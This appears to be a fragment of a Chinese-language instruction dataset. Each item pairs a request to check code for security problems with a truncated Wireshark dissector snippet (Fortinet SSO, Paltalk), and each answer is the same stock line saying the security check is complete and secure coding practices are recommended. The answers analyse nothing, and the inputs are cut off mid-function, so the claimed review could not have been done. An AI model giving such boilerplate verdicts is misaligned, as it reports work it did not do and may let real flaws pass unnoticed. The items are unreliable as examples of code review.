static int hf_fsso_unknown = -1;
static int hf_fsso_unknown_ipv4 = -1;

static dissector_handle_t fortinet_sso_handle;

static int
dissect_fortinet_sso(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *fsso_tree;
    guint32 payload_length, client_ip;
    gint string_length = -1;
    const gchar *string;
    gint32 len;
    int offset = 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "FSSO");
    col_clear(pinfo->cinfo, COL_INFO);
    col_add_fstr(pinfo->cinfo, COL_INFO, "Fortinet Single Sign-On");

    ti = proto_tree_add_item(tree, proto_fortinet_sso, tvb, 0, -1, ENC_NA);
    fsso_tree = proto_item_add_subtree(ti, ett_fortinet_sso);

    proto_tree_add_item(fsso_tree, hf_fsso_length, tvb, offset, 2, ENC_BIG_ENDIAN);
    offset += 2;

    proto_tree_add_item(fsso_tree, hf_fsso_timestamp, tvb, offset, 4, ENC_BIG_ENDIAN);
    offset += 4;

    p...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-paltalk.c
 * Routines for Paltalk dissection
 * Copyright 2005, Tim Hentenaar < tim at hentenaar dot com >
 * Copyright 2008, Mohammad Ebrahim Mohammadi Panah < mebrahim at gmail dot com >
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-tcp.h"

void proto_register_paltalk(void);
void proto_reg_handoff_paltalk(void);

#define INET_IPV4_ADDRESS_FROM_BYTES(a,b,c,d) g_htonl((((guint32)a)<<24) | ((b)<<16) | ((c)<<8) | (d)) /* *network* order */

#define PALTALK_SERVERS_ADDRESS INET_IPV4_ADDRESS_FROM_BYTES(199,106,0,0)      /* 199.106.0.0 in *network* order */
#define PALTALK_SERVERS_NETMASK INET_IPV4_ADDRESS_FROM_BYTES(0xFF, 0xFE, 0x00, 0x00)  /* /15  in *network* order */

#define PALTALK_HEADER_LENGTH 6

static int proto_paltalk = -1;

static int hf_paltalk_pdu_type = -1;
static int hf_paltalk_version = -1;
static int hf_paltalk_length = -1;
static int hf_paltalk_content = -1;

static gint ett_paltalk = -1;

static guint
dissect_paltalk_get_len(packet_info *pinfo _U_, tvbuff_t *tvb,
                        int offset, void *data _U_)
{
    return tvb_get_ntohs(tvb, offset + 4) + PALTALK_HEADER_LENGTH;
}

static int
dissect_paltalk_desegmented(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_item *ti = NULL;
    proto_tree *pt_tree = NULL;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "Paltalk");
    col_clear(pinfo->cinfo, COL_INFO);

    if (tree)       /* we are being asked for details */
    {
        ti = proto_tree_add_item(tree, proto_paltalk, tvb, 0, -1, ENC_NA);
        pt_tree = proto_item_add_subtree(ti, ett_paltalk);
        proto_tree_add_item(pt_tree, hf_paltalk_pdu_type, tvb, 0, 2, ENC_BIG_ENDIAN);
        proto_tree_add_item(pt_tree, hf_paltalk_version, tvb, 2, 2, ENC_BIG_ENDIAN);
        proto_tree_add_item(pt_tree, hf_paltalk_len...

Output: 代码安全检查完成，建议遵循安全编码规范。